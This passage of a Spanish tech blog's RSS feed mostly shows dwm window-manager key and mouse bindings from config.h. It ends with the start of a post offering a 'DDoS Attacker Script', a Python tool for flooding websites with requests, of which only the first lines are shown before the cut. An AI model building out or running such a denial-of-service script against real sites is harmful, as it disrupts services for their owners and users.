<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY|ShiftMask,&nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XK_f,&nbsp; &nbsp;spawn,&nbsp; <span class="br0">&#123;</span>.<span class="me1">v</span> = webcmd <span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY|ShiftMask,&nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XK_m,&nbsp; &nbsp;spawn,&nbsp; <span class="br0">&#123;</span>.<span class="me1">v</span> = mailcmd <span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY|ShiftMask,&nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XK_g,&nbsp; &nbsp;spawn,&nbsp; <span class="br0">&#123;</span>.<span class="me1">v</span> = gimpcmd <span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY|ShiftMask,&nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XK_s,&nbsp; &nbsp;spawn,&nbsp; <span class="br0">&#123;</span>.<span class="me1">v</span> = twitcmd <span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XK_p, &nbsp; &nbsp; &nbsp;spawn, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#123;</span>.<span class="me1">v</span> = dmenucmd <span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XK_x, spawn, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#123;</span>.<span class="me1">v</span> = termcmd <span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XK_b, &nbsp; &nbsp; &nbsp;togglebar, &nbsp; &nbsp; &nbsp;<span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XK_j, &nbsp; &nbsp; &nbsp;focusstack, &nbsp; &nbsp; <span class="br0">&#123;</span>.<span class="me1">i</span> = <span class="nu0">+1</span> <span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XK_k, &nbsp; &nbsp; &nbsp;focusstack, &nbsp; &nbsp; <span class="br0">&#123;</span>.<span class="me1">i</span> = <span class="nu0">-1</span> <span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XK_h, &nbsp; &nbsp; &nbsp;setmfact, &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span>.<span class="me1">f</span> = <span class="nu0">-0.05</span><span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XK_l, &nbsp; &nbsp; &nbsp;setmfact, &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span>.<span class="me1">f</span> = <span class="nu0">+0.05</span><span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XK_Return, zoom, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XK_Tab, &nbsp; &nbsp;view, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY|ShiftMask, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XK_c, &nbsp; &nbsp; &nbsp;killclient, &nbsp; &nbsp; <span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XK_t, &nbsp; &nbsp; &nbsp;setlayout, &nbsp; &nbsp; &nbsp;<span class="br0">&#123;</span>.<span class="me1">v</span> = &amp;layouts<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XK_f, &nbsp; &nbsp; &nbsp;setlayout, &nbsp; &nbsp; &nbsp;<span class="br0">&#123;</span>.<span class="me1">v</span> = &amp;layouts<span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XK_m, &nbsp; &nbsp; &nbsp;setlayout, &nbsp; &nbsp; &nbsp;<span class="br0">&#123;</span>.<span class="me1">v</span> = &amp;layouts<span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XK_space, &nbsp;setlayout, &nbsp; &nbsp; &nbsp;<span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY|ShiftMask, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XK_space, &nbsp;togglefloating, <span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XK_0, &nbsp; &nbsp; &nbsp;view, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span>.<span class="me1">ui</span> = ~<span class="nu0">0</span> <span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY|ShiftMask, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XK_0, &nbsp; &nbsp; &nbsp;tag, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#123;</span>.<span class="me1">ui</span> = ~<span class="nu0">0</span> <span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XK_comma, &nbsp;focusmon, &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span>.<span class="me1">i</span> = <span class="nu0">-1</span> <span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XK_period, focusmon, &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span>.<span class="me1">i</span> = <span class="nu0">+1</span> <span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY|ShiftMask, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XK_comma, &nbsp;tagmon, &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span>.<span class="me1">i</span> = <span class="nu0">-1</span> <span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY|ShiftMask, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XK_period, tagmon, &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span>.<span class="me1">i</span> = <span class="nu0">+1</span> <span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; TAGKEYS<span class="br0">&#40;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;XK_F1, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; TAGKEYS<span class="br0">&#40;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;XK_F2, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">1</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; TAGKEYS<span class="br0">&#40;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;XK_F3, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">2</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; TAGKEYS<span class="br0">&#40;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;XK_F4, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">3</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; TAGKEYS<span class="br0">&#40;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;XK_F5, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">4</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; TAGKEYS<span class="br0">&#40;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;XK_F6, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">5</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; TAGKEYS<span class="br0">&#40;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;XK_F7, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">6</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; TAGKEYS<span class="br0">&#40;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;XK_F8, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">7</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; TAGKEYS<span class="br0">&#40;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;XK_F9, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">8</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> MODKEY|ShiftMask, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; XK_q, &nbsp; &nbsp; &nbsp;quit, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">/* button definitions */</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">/* click can be a tag number (starting at 0),</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;* ClkLtSymbol, ClkStatusText, ClkWinTitle, ClkClientWin, or ClkRootWin */</span></div>
</li>
<li class="li2">
<div class="de2"><span class="kw4">static</span> Button buttons<span class="br0">&#91;</span><span class="br0">&#93;</span> = <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="coMULTI">/* click &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;event mask &nbsp; &nbsp; &nbsp;button &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;function &nbsp; &nbsp; &nbsp; &nbsp;argument */</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> ClkLtSymbol, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span>, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Button1, &nbsp; &nbsp; &nbsp; &nbsp;setlayout, &nbsp; &nbsp; &nbsp;<span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> ClkLtSymbol, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span>, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Button3, &nbsp; &nbsp; &nbsp; &nbsp;setlayout, &nbsp; &nbsp; &nbsp;<span class="br0">&#123;</span>.<span class="me1">v</span> = &amp;layouts<span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> ClkWinTitle, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span>, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Button2, &nbsp; &nbsp; &nbsp; &nbsp;zoom, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> ClkStatusText, &nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span>, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Button2, &nbsp; &nbsp; &nbsp; &nbsp;spawn, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#123;</span>.<span class="me1">v</span> = termcmd <span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> ClkClientWin, &nbsp; &nbsp; &nbsp; &nbsp; MODKEY, &nbsp; &nbsp; &nbsp; &nbsp; Button1, &nbsp; &nbsp; &nbsp; &nbsp;movemouse, &nbsp; &nbsp; &nbsp;<span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> ClkClientWin, &nbsp; &nbsp; &nbsp; &nbsp; MODKEY, &nbsp; &nbsp; &nbsp; &nbsp; Button2, &nbsp; &nbsp; &nbsp; &nbsp;togglefloating, <span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> ClkClientWin, &nbsp; &nbsp; &nbsp; &nbsp; MODKEY, &nbsp; &nbsp; &nbsp; &nbsp; Button3, &nbsp; &nbsp; &nbsp; &nbsp;resizemouse, &nbsp; &nbsp;<span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> ClkTagBar, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span>, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Button1, &nbsp; &nbsp; &nbsp; &nbsp;view, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> ClkTagBar, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="nu0">0</span>, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Button3, &nbsp; &nbsp; &nbsp; &nbsp;toggleview, &nbsp; &nbsp; <span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> ClkTagBar, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;MODKEY, &nbsp; &nbsp; &nbsp; &nbsp; Button1, &nbsp; &nbsp; &nbsp; &nbsp;tag, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span> ClkTagBar, &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;MODKEY, &nbsp; &nbsp; &nbsp; &nbsp; Button3, &nbsp; &nbsp; &nbsp; &nbsp;toggletag, &nbsp; &nbsp; &nbsp;<span class="br0">&#123;</span><span class="nu0">0</span><span class="br0">&#125;</span> <span class="br0">&#125;</span>,</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span>;</div>
</li>
</ol>
</div>
</pre>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdymamic-window-manager-dwm-mi-nuevo-gestor-de-ventanas%2F&amp;linkname=Dymamic%20Window%20Manager%20%28DWM%29%3A%20Mi%20nuevo%20gestor%20de%20ventanas" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdymamic-window-manager-dwm-mi-nuevo-gestor-de-ventanas%2F&amp;linkname=Dymamic%20Window%20Manager%20%28DWM%29%3A%20Mi%20nuevo%20gestor%20de%20ventanas" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdymamic-window-manager-dwm-mi-nuevo-gestor-de-ventanas%2F&amp;linkname=Dymamic%20Window%20Manager%20%28DWM%29%3A%20Mi%20nuevo%20gestor%20de%20ventanas" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdymamic-window-manager-dwm-mi-nuevo-gestor-de-ventanas%2F&amp;linkname=Dymamic%20Window%20Manager%20%28DWM%29%3A%20Mi%20nuevo%20gestor%20de%20ventanas" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdymamic-window-manager-dwm-mi-nuevo-gestor-de-ventanas%2F&amp;linkname=Dymamic%20Window%20Manager%20%28DWM%29%3A%20Mi%20nuevo%20gestor%20de%20ventanas" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdymamic-window-manager-dwm-mi-nuevo-gestor-de-ventanas%2F&amp;linkname=Dymamic%20Window%20Manager%20%28DWM%29%3A%20Mi%20nuevo%20gestor%20de%20ventanas" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdymamic-window-manager-dwm-mi-nuevo-gestor-de-ventanas%2F&amp;linkname=Dymamic%20Window%20Manager%20%28DWM%29%3A%20Mi%20nuevo%20gestor%20de%20ventanas" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Flinux%2Fdymamic-window-manager-dwm-mi-nuevo-gestor-de-ventanas%2F&amp;linkname=Dymamic%20Window%20Manager%20%28DWM%29%3A%20Mi%20nuevo%20gestor%20de%20ventanas">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/dymamic-window-manager-dwm-mi-nuevo-gestor-de-ventanas/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>DDoS Attacker Script: Peticiones automatizadas para lograr DoS</title>
		<link>http://blog.zerial.org/seguridad/ddos-attacker-script-peticiones-automatizadas-para-lograr-dos/</link>
		<comments>http://blog.zerial.org/seguridad/ddos-attacker-script-peticiones-automatizadas-para-lograr-dos/#comments</comments>
		<pubDate>Sun, 02 Aug 2009 19:26:52 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[dos]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[exploits]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[script]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=709</guid>
		<description><![CDATA[&#8220;DDoS Attacker Script&#8221; es un pequeño script que he escrito en python que nos sirve para lograr con éxito un ataque de denegación de servicio en un sitio web. Este script lo diseñe especialmente para ataques de sql injection. El funcionamiento es muy sencillo, se conecta y hace una petición de la URI especificada: #!/usr/bin/python [...]]]></description>
			<content:encoded><![CDATA[<p>&#8220;<em>DDoS Attacker Script</em>&#8221; es un pequeño script que he escrito en <strong>python</strong> que nos sirve para lograr con éxito un ataque de denegación de servicio en un sitio web. Este script lo diseñe especialmente para ataques de sql injection.</p>
<p>El funcionamiento es muy sencillo, se conecta y hace una petición de la URI especificada:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="co1">#!/usr/bin/python</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">socket</span>, <span class="kw3">sys</span>, <span class="kw3">os</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">print</span> <span class="st0">&quot;][ Attacking &quot;</span> + <span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span> &nbsp;+ <span class="st0">&quot; ... ][&quot;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">print</span> <span class="st0">&quot;injecting &quot;</span> + <span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="kw1">def</span> attack<span class="br0">&#40;</span><span class="br0">&#41;</span>:&nbsp; &nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">#pid = os.fork()</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; s = <span class="kw3">socket</span>.<span class="kw3">socket</span><span class="br0">&#40;</span><span class="kw3">socket</span>.<span class="me1">AF_INET</span>, <span class="kw3">socket</span>.<span class="me1">SOCK_STREAM</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
